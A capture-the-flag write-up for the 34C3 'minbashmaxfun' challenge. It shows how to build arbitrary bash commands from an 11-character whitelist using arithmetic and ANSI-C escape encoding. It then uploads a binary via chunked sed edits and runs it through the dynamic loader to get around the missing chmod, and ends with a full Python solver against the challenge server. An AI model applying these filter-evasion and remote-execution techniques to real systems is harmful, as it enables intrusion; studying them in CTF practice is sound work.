34c3 minbashmaxfun

Written by lava & ntq

The goal of this challenge is to execute the binary /get_flag by providing a bash command that will be executed on the remote host. The catch is that each letter of the command must be one of the following 11 white-listed characters: $, (, ), {, }, }, \, ', #, < and ,.

Playing around with this, we can make a few basic observations:

  • We can access the special parameters $# (number of positional arguments in decimal) and $$ (pid of the shell)
  • We can get command substitution $(cmd)
  • We can get arithmetic expansion $((expression))
  • The < could be used for input redirection, but there is no obvious way to provide a filename. Same goes for the special $(< file) to pipe the content of a file to the standard input.
  • Shell parameter expansion ${parameter} and some of its various special cases, in particular downcasing ${parameter,,pattern}, leading substring deletion ${parameter#word}, parameter string length ${#parameter} and indirect expansion ${!word}
  • ANSI-C quoting $'...'

Playing around with this, we can produce some basic expressions:

  • $# is always 0
  • $(($#)) is still 0
  • $((!$#)) gets us a 1
  • $((!$#<<!$#)) gives 2
  • etc.

We can get all powers of two by chaining the << rotate-left operator. With some planning we can also get more numbers by using $$ instead of $#, since we can manipulate that to be any number we want. However, it turns out that 0, 1 and 2 are all the numbers we need, because we can just switch to binary with the syntax $((base#number)). With this, we can encode any number, e.g.

108 -> 0b1101100 -> `$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))$(($#))))`

However, generating numbers isn’t really that useful in itself, what we actually want is a way to generate ASCII characters. Luckily, both single-quote and backslash are permitted, so we should be able to use the ANSI-C escaping feature

$'\154\163'  ->  ls

There’s one problem, the arithmetic expansion is not evaluated inside the single quotes. So we need two evaluation passes, one to generate the ansi-escaped string and one to generate the command from that.

${#}  -> 0
${!#} -> bash

Nice: We can actually use ${!#} to get a bash shell and pass the result of the first expansion to it to get a second evaluation pass. Since we can’t use spaces to denote where the command ends and the argument start, we instead pass it as a here-string using the <<< syntax:

bash$ ${!#}<<<\$\'$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))$(($#))))\'
bin
boot
[...]
flag
get_flag
[...]
usr
var

So we’re basically done, just execute /get_flag to get the flag:

bash$ ${!##}<<<\$\'\\$(($((!$#<<!$#))#$((!$#))$((!$#))$((!$#))$(($#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$(($#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))$(($#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$((!$#))))\'
Please solve this little captcha:
1459806305 + 1521201784 + 3028801422 + 270568894 + 1250150916
0
7530529321 != 0 :(

…damn. Ok, we need more. For a start, the ability to insert spaces would be nice, as our current string generation method kinda breaks it:

$ $'ls\40-l'
ls -l: command not found

An interesting observation is that command evaluation has higher priority than the here-string, so we can actualy nest commands:

$ bash<<<$(bash<<<ls)
bash: line 1: bin: command not found
bash: line 2: boot: command not found
bash: line 3: cdrom: command not found
[...]

The immediate idea is now bash<<<$(cat<<<'ls -l'), but the problem is that we’re missing one level of evaluation: The encoded “cat” is on the left-hand side of the here-string, so it only gets evaluated once and the shell is looking for a command called $'\143\141\164', which doesn’t exist.

With some careful re-arranging, we can get around this. Instead of the naive solution above, we use the form

bash<<<\$\'encode("cat")\<\<\<encode("ls -l")\'

where encode(x) stands for the $((#)))-encoding of the string used above.

With this, we can finally get a look around the system. It’s an Ubuntu 17.10 running in a docker container. Sadly, most useful commands are removed, but some notable exceptions include base64, sed and awk. Even sadder, the escaping above is not powerful enough to support i/o redirection, i.e. ‘|’, ‘<’ or ‘>’, which makes it really annoying to read the output of get_flag and write back the result.

It would probably be possible to fix the encoding to get arbitrary bash commands, and to write a bash script that solves the captcha. However, at this point the end of the contest was only 90 minutes away, so we decided that we probably wouldn’t finish in time if we attempted to do that, and that we should just try to complete the challenge with the tools we had.

First, we make a simple C program that runs ‘/get_flag’, solves the captcha, and writes the result to a fixed file /tmp/c. Luckily, the target environment is just ubuntu, so we can easily compile on an ubuntu host and upload the finished binary unmodified. This program gets base64-encoded locally.

To write it to the remote system, we use the fact that all our commands in the same session are executed with the same filesystem, so modifications to files persist across commands within a session.

We just copy /etc/debian_version to a temporary file /tmp/a and replace the known content with a --marker using sed -i s,stretch/sid,-,. Now we can iteratively build up the target file by splitting it into small chunks and abusing sed again to append to the end of the file:

sed -i /tmp/a s,-,CHUNK-,

Applying base64 also turned out to be problematic, as it doesn’t have a parameter to specify the output file. However, we can use the same technique to create an extractor script /tmp/decoder:

sed -i s,stretch/sid,base64\t-d\t/tmp/a\t>/tmp/b, /tmp/decoder

One final problem is that we don’t have chmod on the system, so even after decoding our prepared binary we cannot simply execute it. However, with one final trick we are now at the end:

$ /lib64/ld-linux-x86-64.so.2 /tmp/b
$ cat /tmp/c
34C3_you_are_a_bash_MASTER [not the real flag, written down from memory]

Complete solution, with some manual steps omitted:

#!/usr/bin/python3    

import socket
import base64    

bash = '${!##}'
herestring = "<<<"
zero = '$(($#))'
one = '$((!$#))'
two = '$((!$#<<!$#))'    

BUFFER_SIZE=2048    

def binary(number):
    return "$(({:s}#{:b}))".format(two,number).replace('1',one).replace('0',zero)    

def encode_char(char):
    return '\\$\\\'\\\\' + binary(int(oct(ord(char))[2:])) + "\\\'"    

def encode_string(s):
    return "".join([encode_char(c) for c in s])    

def encode_command(cmd):
    return (bash + herestring + "\\$\\("
        + encode_string("cat") + "\\<\\<\\<"
        + encode_string(cmd) + "\\)")    

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('35.198.107.77', 1337))    

data = open("solver_encoded").read()    

SAFE_LINE_LENGTH=500    

def execute(cmd):
    print(cmd)
    resp = ""
    encoded_cmd = encode_command(cmd)
    print(encoded_cmd)
    s.send((encode_command(cmd) + "\n").encode())
    while '>' not in resp:
        resp = s.recv(BUFFER_SIZE).decode()
        print(resp)    

execute("cp /etc/debian_version /tmp/a")
execute("cp /etc/debian_version /tmp/decoder")
execute("sed -i s,stretch/sid,-, /tmp/a")    

pos = 0
while pos < len(data):
  line = data[pos:pos+SAFE_LINE_LENGTH]
  pos += SAFE_LINE_LENGTH    

  cmd = "sed -i /-/{}/ /tmp/a".format(line)
  execute(cmd)    

execute("sed -i s,stretch/sid,base64\t-d\t/tmp/a\t>/tmp/b, /tmp/decoder")
execute("bash /tmp/decoder")
execute("/lib64/ld-linux-x86-64.so.2 /tmp/b")
execute("cat /tmp/c")    

s.close()    

[heddha+squifi@https://unicorn.university]$cd ~